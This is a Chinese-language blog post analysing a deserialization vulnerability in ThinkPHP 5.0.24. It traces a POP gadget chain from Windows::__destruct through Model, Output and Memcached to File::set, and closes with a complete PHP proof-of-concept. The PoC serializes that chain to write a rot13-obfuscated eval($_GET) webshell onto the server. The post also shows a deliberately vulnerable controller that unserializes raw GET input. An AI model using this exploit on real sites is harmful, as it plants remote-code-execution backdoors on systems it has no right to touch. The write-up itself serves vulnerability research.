这个洞的利用需要利用tp进行二次开发,当unserialize的参数可控,既可触发这个洞。在index控制器中写入:
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$c = unserialize($_GET['c']);
var_dump($c);
return 'Welcome to ThinkPHP!';
}
}
POP链构造分析
首先,进行全局搜索__destruct,查看thinkphp/library/think/process/pipes/Windows.php的Windows类中调用了__destruct魔术方法。
public function __destruct()
{
$this->close();
$this->removeFiles();
}
跟进removeFiles,发现file__exists函数,file__exists处理的时候会将当作字符串来处理,所以可以调用__toString,全局搜索__toString。
public function __toString()
{
return $this->toJson();
}
跟进toJson
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
继续跟进toArray方法,这里发现三处可以触发__call方法。
经过分析最后一处的参数可控,可以调用__call方法,要执行到这里,要满足如下条件:
$this->append可控且为数组,进入下面关键两行代码。
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
$relation由$this->append控制,这里需要找个可控的点,在Model方法中getError方法可控
public function getError()
{
return $this->error;
}
跟进getRelationData方法,要满足if语句的条件就可以让value可控
通过全局搜索isSelfRelation,发现isSelfRelation方法是类Relation,而HasOne,OneToOne是Relation的子类,所以$modelRelation可以实例化HasOne类,继续都下面的代码,要满足:
if (method_exists($modelRelation, 'getBindAttr'))
全局搜索getBindAttr,发现OneToOne中存在此方法,发现bindAttr可控
public function getBindAttr()
{
return $this->bindAttr;
}
最后value可控,执行$item[$key] = $value ? $value->getAttr($attr) : null;
就可以调用到__call方法,全局查看__call,漏洞触发点在thinkphp/library/think/console/Output.php
跟进搜索block方法
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}
继续跟进writeln,在跟进write
这里发现$this->handle可控,可以进行全局搜索wirte方法
找到thinkphp/library/think/session/driver/Memcached.php文件中存在write方法,且$this->handle可控,继续全局查找set方法,在文件thinkphp/library/think/cache/driver/File.php发现存在写入文件。
这里跟进getCacheKey方法,查看filename是否可控
这里$this->options可控,目前filename可控了,现在就只需要写入的data可控了,跟进setTagItem方法看一下,发现又执行了一次set。
发现value的值就为传进来的filename。最后,整个的pop链就分析完了,贴上安全客的一篇文章
的pop链图。
最后,poc如下:
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];//触发Model __toString(),子类Pivot合适
}
}
namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}
namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
function __construct(){
parent::__construct();
}
}
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"];
}
}
namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}
namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;
function __construct(){
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();
}
}
namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}
namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File();//目的调用File->set()
}
}
namespace think\cache\driver;#File
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
'data_compress' => false,
];
$this->tag = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
poc只能对linux,windows限制了文件名,最后,文件的命名规则如下:
<?cuc cucvasb();riny($_TRG[pzq]);?> + md5('tag_'.md5($this->tag))
参考文章
- Post link: http://yoursite.com/2020/05/07/ThinkPHP5.0.24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- Copyright Notice: All articles in this blog are licensed under unless stating additionally.
若您想及时得到回复提醒,建议跳转 GitHub Issues 评论。
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues